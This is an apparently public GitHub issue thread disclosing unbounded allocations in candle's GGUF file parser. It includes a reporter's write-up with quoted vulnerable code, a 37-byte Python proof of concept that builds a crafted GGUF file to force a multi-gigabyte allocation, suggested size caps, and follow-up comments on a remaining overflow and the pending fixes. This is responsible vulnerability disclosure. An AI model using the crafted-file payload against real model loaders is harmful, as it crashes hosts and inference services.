Unguarded allocation sites in candle-core/src/quantized/gguf_file.rs (DoS via crafted GGUF)

[UNILESS]

Filing this publicly because the repo does not currently have Private Vulnerability Reporting enabled. Happy to move to a private channel if preferred — please enable PVR on the repo and let me know.

Summary

candle-core/src/quantized/gguf_file.rs (current main, commit 24b0b28+) reads several length / count fields from a GGUF file as u32/u64 and uses them directly as the size argument of vec![T; n], Vec::with_capacity(n), and for _ in 0..n loops with no upper-bound check. A small (< 64-byte) GGUF file that declares 2^32 items drives the loader into multi-GB allocation or extremely long iteration, killing the host or its inference workload.

Same bug class as CVE-2025-66960 (ollama fs/ggml/gguf.go, fixed). In candle, the same pattern recurs across five sites. The sibling crate safetensors in the same org explicitly caps with MAX_HEADER_SIZE + buffer.get slicing — candle's GGUF loader did not adopt that pattern.

Affected sites

All in candle-core/src/quantized/gguf_file.rs:

(a) L99 — read_string length buffer:

let len = match magic {
    VersionedMagic::GgufV1 => reader.read_u32::<LittleEndian>()? as usize,
    VersionedMagic::GgufV2 | VersionedMagic::GgufV3 => {
        reader.read_u64::<LittleEndian>()? as usize
    }
};
let mut v = vec![0u8; len];        // <-- immediate physical alloc of `len` bytes
reader.read_exact(&mut v)?;

vec![0u8; len] is a committed allocation, not a virtual reservation. len = 2^32 → 4 GB RSS immediately.

(b) L306 — Value::read ARRAY branch:

let len = match magic { ... };
let mut vs = Vec::with_capacity(len);
for _ in 0..len {
    vs.push(Value::read(reader, value_type, magic)?)
}

(c) L421 — tensor_count outer loop:

let tensor_count = ... reader.read_u64::<LittleEndian>()? as usize;
for _idx in 0..tensor_count {
    let tensor_name = read_string(reader, &magic)?;
    ...
}

(d) L413 — metadata_kv_count: Same shape as (c).

(e) L427 / L432 — tensor dimensions vector:

let n_dimensions = reader.read_u32::<LittleEndian>()?;
let mut dimensions = vec![0; n_dimensions as usize];    // <-- alloc
reader.read_u32_into::<LittleEndian>(&mut dimensions)?;

Vec<usize> so 8 bytes/element. n_dimensions = 2^32 − 1 → ~32 GB immediate alloc.

Reachability

gguf_file::Content::read is the canonical entry for loading any GGUF model. Any application that loads a user-supplied or hub-downloaded GGUF traverses these sites.

Minimal PoC — 37 bytes

import struct
malicious = (
    b'GGUF'
    + struct.pack('<I', 3)
    + struct.pack('<Q', 1)               # tensor_count = 1
    + struct.pack('<Q', 0)               # kv_count = 0
    + struct.pack('<Q', 1) + b't'        # name = 't'
    + struct.pack('<I', 0xFFFFFFFF)      # n_dimensions = 2^32 - 1
)
open('/tmp/evil.gguf', 'wb').write(malicious)

use candle_core::quantized::gguf_file;
use std::fs::File;
let mut f = File::open("/tmp/evil.gguf").unwrap();
let _ = gguf_file::Content::read(&mut f);
// attempts vec![0; (2^32-1)] (Vec<usize>) = ~32 GB

Suggested fix

Mirror the safetensors pattern. Define caps and gate each allocation:

const GGUF_MAX_ARRAY_ELEMENTS: usize = 1 << 30;
const GGUF_MAX_STRING_LENGTH:  usize = 1 << 26;
const GGUF_MAX_TENSOR_DIMS:    usize = 8;

fn read_string<R: Read>(reader: &mut R, magic: &VersionedMagic) -> Result<String> {
    let len = ...;
    if len > GGUF_MAX_STRING_LENGTH {
        crate::bail!("GGUF string length {len} exceeds max {GGUF_MAX_STRING_LENGTH}")
    }
    let mut v = vec![0u8; len];
    reader.read_exact(&mut v)?;
    ...
}

Equivalent gates at L306, L413, L421, L427. The C++ baseline ggml/src/gguf.cpp enforces the same caps after PR ggml-org/llama.cpp#19856.

Regression tests should cover each site with an oversized value and assert that the parser returns Err (not OOM).

CWE

• CWE-770 (Allocation of Resources Without Limits or Throttling)
• CWE-1284 (Improper Validation of Specified Quantity in Input)
• CWE-400 (Uncontrolled Resource Consumption)

CVE

If a CVE assignment is in scope here, happy to coordinate.

[PCfVW]

Thanks for the thorough write-up! It looks like #3556 is already on this with a solid fix: it caps the string / array / count fields and, nicely, gates each declared length against the remaining file size (a remaining_bytes helper), so a length can't exceed what is physically in the file. It also adds a GGUF_MAX_VALUE_DEPTH recursion cap for nested Value::Array. That covers the five sites listed here.

One allocation in the same class sits just outside Content::read, so #3556 doesn't reach it: the lazy tensor-data path (TensorInfo::read, ~L64-74):

​rust let size_in_bytes = tensor_elems / block_size * type_size(); let mut raw_data = vec![0u8; size_in_bytes]; ​

tensor_elems = shape.elem_count() is an unchecked product of the dim values. #3556 caps the dim count (GGUF_MAX_TENSOR_DIMS = 4) but not the dim values or their product, and the remaining_bytes guard isn't applied to this allocation. So a 4-dimension tensor with large dim values can still overflow usize in elem_count() (wrapping to a small or a huge number) or drive a huge vec![0u8; size_in_bytes]. It is reachable in the normal flow, since a loader calls content.tensor(name) after Content::read. Applying the same remaining_bytes check, plus a checked_mul on the product, would close it.

For reference, anamnesis's GGUF parser guards exactly that: the element product is folded with checked_mul and capped at MAX_TENSOR_ELEMENTS (10^12), with a byte-range check against the mmap length. This same issue also prompted a parity pass on its other formats in 0.6.1 (the PTH data.pkl size is capped before the mmap slice, the NPZ NPY header length before its buffer). Same CWE-770 / CWE-1284 / CWE-400 rule throughout: validate the declared quantity before allocating, and use checked arithmetic for any derived size.

Hoping this helps!

[ivarflakstad]

Thanks for the detailed writeup, @UNILESS - the PR with the fix, @HueCodes - and the follow up comment, @PCfVW 🙌

I think all bases should be covered once #3585 is merged.